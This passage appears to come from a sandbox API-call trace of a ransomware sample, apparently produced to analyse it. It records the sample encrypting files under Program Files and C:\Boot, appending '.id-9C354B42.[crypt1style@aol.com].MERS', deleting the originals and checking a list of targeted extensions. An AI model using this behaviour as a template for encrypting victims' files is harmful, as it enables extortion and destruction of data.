shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0051.093] GetLastError () returned 0x0 [0051.093] ReadFile (in: hFile=0x180, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x6c9, lpOverlapped=0x0) returned 1 [0051.209] WriteFile (in: hFile=0x1d8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0051.210] ReadFile (in: hFile=0x180, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.210] WriteFile (in: hFile=0x1d8, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.210] SetEndOfFile (hFile=0x1d8) returned 1 [0051.211] CloseHandle (hObject=0x1d8) returned 1 [0051.211] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.211] SetEndOfFile (hFile=0x180) returned 1 [0051.211] CloseHandle (hObject=0x180) returned 1 [0051.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.212] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1 [0051.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0051.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0051.212] lstrlenW (lpString=".doc") returned 4 [0051.212] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.212] lstrlenW (lpString=".docx") returned 5 [0051.212] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.212] lstrlenW (lpString=".pdf") returned 4 [0051.212] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.212] lstrlenW (lpString=".xls") returned 4 [0051.212] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.212] lstrlenW (lpString=".xlsx") returned 5 [0051.212] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.212] lstrlenW (lpString=".ppt") returned 4 [0051.212] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0051.213] lstrlenW (lpString=".zip") returned 4 [0051.213] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.213] lstrlenW (lpString=".rar") returned 4 [0051.213] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.213] lstrlenW (lpString=".bz2") returned 4 [0051.213] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.213] lstrlenW (lpString=".7z") returned 3 [0051.213] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0051.213] lstrlenW (lpString=".dbf") returned 4 [0051.213] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0051.213] lstrlenW (lpString=".1cd") returned 4 [0051.213] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.213] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0051.213] lstrlenW (lpString=".jpg") returned 4 [0051.213] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.309] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=1571) returned 1 [0051.309] CloseHandle (hObject=0x1e8) returned 1 [0051.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0051.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0051.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.309] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.309] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.310] GetLastError () returned 0x0 [0051.310] ReadFile (in: hFile=0x1e8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x623, lpOverlapped=0x0) returned 1 [0051.464] WriteFile (in: hFile=0x204, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x630, lpOverlapped=0x0) returned 1 [0051.465] ReadFile (in: hFile=0x1e8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.466] WriteFile (in: hFile=0x204, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.466] SetEndOfFile (hFile=0x204) returned 1 [0051.466] CloseHandle (hObject=0x204) returned 1 [0051.466] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.466] SetEndOfFile (hFile=0x1e8) returned 1 [0051.467] CloseHandle (hObject=0x1e8) returned 1 [0051.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.467] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0051.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0051.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0051.467] lstrlenW (lpString=".doc") returned 4 [0051.467] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.467] lstrlenW (lpString=".docx") returned 5 [0051.467] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.467] lstrlenW (lpString=".pdf") returned 4 [0051.467] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.467] lstrlenW (lpString=".xls") returned 4 [0051.467] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.467] lstrlenW (lpString=".xlsx") returned 5 [0051.467] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.467] lstrlenW (lpString=".ppt") returned 4 [0051.467] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0051.468] lstrlenW (lpString=".zip") returned 4 [0051.468] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.468] lstrlenW (lpString=".rar") returned 4 [0051.468] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.468] lstrlenW (lpString=".bz2") returned 4 [0051.468] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.468] lstrlenW (lpString=".7z") returned 3 [0051.468] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0051.468] lstrlenW (lpString=".dbf") returned 4 [0051.468] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0051.468] lstrlenW (lpString=".1cd") returned 4 [0051.468] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0051.468] lstrlenW (lpString=".jpg") returned 4 [0051.468] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.469] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.469] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0051.469] GetLastError () returned 0x0 [0051.469] ReadFile (in: hFile=0x1e8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x65c96, lpOverlapped=0x0) returned 1 [0051.841] WriteFile (in: hFile=0x204, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x65ca0, lpOverlapped=0x0) returned 1 [0051.849] ReadFile (in: hFile=0x1e8, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.849] WriteFile (in: hFile=0x204, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.849] SetEndOfFile (hFile=0x204) returned 1 [0051.850] CloseHandle (hObject=0x204) returned 1 [0051.850] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.850] SetEndOfFile (hFile=0x1e8) returned 1 [0051.855] CloseHandle (hObject=0x1e8) returned 1 [0051.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0051.855] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0051.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.856] lstrlenW (lpString=".doc") returned 4 [0051.856] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0051.856] lstrlenW (lpString=".docx") returned 5 [0051.856] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0051.856] lstrlenW (lpString=".pdf") returned 4 [0051.856] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0051.856] lstrlenW (lpString=".xls") returned 4 [0051.856] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0051.856] lstrlenW (lpString=".xlsx") returned 5 [0051.856] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0051.856] lstrlenW (lpString=".ppt") returned 4 [0051.856] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0051.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.856] lstrlenW (lpString=".zip") returned 4 [0051.856] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0051.856] lstrlenW (lpString=".rar") returned 4 [0051.856] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0051.856] lstrlenW (lpString=".bz2") returned 4 [0051.856] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0051.856] lstrlenW (lpString=".7z") returned 3 [0051.856] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0051.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.857] lstrlenW (lpString=".dbf") returned 4 [0051.857] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0051.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.857] lstrlenW (lpString=".1cd") returned 4 [0051.857] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0051.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0051.857] lstrlenW (lpString=".jpg") returned 4 [0051.857] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0051.897] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.897] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.897] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0051.897] GetLastError () returned 0x0 [0051.897] ReadFile (in: hFile=0x1fc, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0xae, lpOverlapped=0x0) returned 1 [0051.898] WriteFile (in: hFile=0x210, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0051.899] ReadFile (in: hFile=0x1fc, lpBuffer=0x3620020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.899] WriteFile (in: hFile=0x210, lpBuffer=0x3620020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3620020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.899] SetEndOfFile (hFile=0x210) returned 1 [0051.899] CloseHandle (hObject=0x210) returned 1 [0051.900] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.900] SetEndOfFile (hFile=0x1fc) returned 1 [0051.900] CloseHandle (hObject=0x1fc) returned 1 [0051.901] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x26) returned 1 [0051.901] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0051.902] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.902] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.902] lstrlenW (lpString=".doc") returned 4 [0051.902] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0051.902] lstrlenW (lpString=".docx") returned 5 [0051.902] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0051.902] lstrlenW (lpString=".pdf") returned 4 [0051.902] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0051.902] lstrlenW (lpString=".xls") returned 4 [0051.902] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0051.902] lstrlenW (lpString=".xlsx") returned 5 [0051.902] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0051.902] lstrlenW (lpString=".ppt") returned 4 [0051.902] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0051.902] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.902] lstrlenW (lpString=".zip") returned 4 [0051.902] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0051.902] lstrlenW (lpString=".rar") returned 4 [0051.902] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0051.902] lstrlenW (lpString=".bz2") returned 4 [0051.902] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0051.902] lstrlenW (lpString=".7z") returned 3 [0051.902] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0051.902] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.902] lstrlenW (lpString=".dbf") returned 4 [0051.902] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0051.902] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.902] lstrlenW (lpString=".1cd") returned 4 [0051.902] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0051.903] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0051.903] lstrlenW (lpString=".jpg") returned 4 [0051.903] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 Thread: id = 12 os_tid = 0xa00 [0033.667] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x6b0860 [0033.668] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10000) returned 0x6c0868 [0033.668] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640400 [0033.668] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x6) returned 0x6430a0 [0033.668] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640418 [0033.668] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x100000) returned 0x3730020 [0033.668] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640430 [0033.668] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640430, Size=0x20) returned 0x66f610 [0033.668] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x10) returned 0x640430 [0033.668] RtlReAllocateHeap (Heap=0x5f0000, Flags=0x0, Ptr=0x640430, Size=0x20) returned 0x66f5c0 [0033.668] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0033.668] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0033.668] Wow64DisableWow64FsRedirection (in: OldValue=0x2c8ff58 | out: OldValue=0x2c8ff58*=0x0) returned 1 [0033.668] lstrlenW (lpString="kernel32.dll") returned 12 [0033.669] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f610 | out: hHeap=0x5f0000) returned 1 [0033.669] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0033.669] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x66f5c0 | out: hHeap=0x5f0000) returned 1 [0033.669] Sleep (dwMilliseconds=0x64) [0033.903] lstrcmpiW (lpString1=".ttf", lpString2=".MERS") returned 1 [0033.903] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0033.903] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0033.980] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1984228) returned 1 [0033.980] CloseHandle (hObject=0x180) returned 1 [0033.980] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0033.980] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.980] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0 [0033.980] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.980] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.980] lstrlenW (lpString=".doc") returned 4 [0033.980] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0033.980] lstrlenW (lpString=".docx") returned 5 [0033.980] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0033.980] lstrlenW (lpString=".pdf") returned 4 [0033.980] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0033.980] lstrlenW (lpString=".xls") returned 4 [0033.980] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0033.980] lstrlenW (lpString=".xlsx") returned 5 [0033.980] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0033.981] lstrlenW (lpString=".ppt") returned 4 [0033.981] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0033.981] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.981] lstrlenW (lpString=".zip") returned 4 [0033.981] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0033.981] lstrlenW (lpString=".rar") returned 4 [0033.981] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0033.981] lstrlenW (lpString=".bz2") returned 4 [0033.981] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0033.981] lstrlenW (lpString=".7z") returned 3 [0033.981] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0033.981] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.981] lstrlenW (lpString=".dbf") returned 4 [0033.981] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0033.981] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.981] lstrlenW (lpString=".1cd") returned 4 [0033.981] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0033.981] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.981] lstrlenW (lpString=".jpg") returned 4 [0033.981] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0033.981] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.981] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.981] lstrlenW (lpString=".doc") returned 4 [0033.981] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0033.981] lstrlenW (lpString=".docx") returned 5 [0033.981] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0033.981] lstrlenW (lpString=".pdf") returned 4 [0033.981] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0033.981] lstrlenW (lpString=".xls") returned 4 [0033.982] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0033.982] lstrlenW (lpString=".xlsx") returned 5 [0033.982] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0033.982] lstrlenW (lpString=".ppt") returned 4 [0033.982] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0033.982] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.982] lstrlenW (lpString=".zip") returned 4 [0033.982] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0033.982] lstrlenW (lpString=".rar") returned 4 [0033.982] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0033.982] lstrlenW (lpString=".bz2") returned 4 [0033.982] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0033.982] lstrlenW (lpString=".7z") returned 3 [0033.982] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0033.982] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0033.982] lstrlenW 